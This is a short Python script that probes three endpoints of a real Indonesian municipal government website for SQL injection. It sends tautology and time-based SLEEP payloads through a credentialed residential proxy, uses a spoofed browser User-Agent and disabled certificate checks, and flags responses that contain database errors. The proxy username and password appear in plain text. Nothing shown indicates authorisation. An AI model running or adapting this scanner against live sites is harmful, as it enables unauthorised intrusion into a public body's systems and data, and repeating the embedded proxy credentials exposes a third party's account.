#!/usr/bin/env python3
import requests
import time

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10007',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10007'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
}

# Test SQL injection in various endpoints
sqli_payloads = [
    "1' OR '1'='1",
    "1 OR 1=1",
    "1' AND SLEEP(5)--",
    "1; SELECT SLEEP(5)--",
]

endpoints = [
    ("https://pohon.disperkim.semarangkota.go.id/post/index/{payload}", "POST ID"),
    ("https://pohon.disperkim.semarangkota.go.id/laporan/laporan_detail/{payload}", "LAPORAN ID"),
    ("https://pohon.disperkim.semarangkota.go.id/pohon/pohon_detail/{payload}", "POHON ID"),
]

for endpoint, name in endpoints:
    print(f"\n[*] Testing {name}...")
    for payload in sqli_payloads[:2]:  # Test first 2 payloads
        url = endpoint.format(payload=payload)
        try:
            start = time.time()
            resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=30)
            elapsed = time.time() - start
            print(f"[*] Payload: {payload[:30]}... | Status: {resp.status_code} | Time: {elapsed:.2f}s")
            if 'error' in resp.text.lower() or 'sql' in resp.text.lower() or 'mysql' in resp.text.lower():
                print(f"[!] Possible SQL error detected!")
                print(f"[*] Response preview: {resp.text[:300]}")
        except Exception as e:
            print(f"[-] Error: {e}")
        time.sleep(1)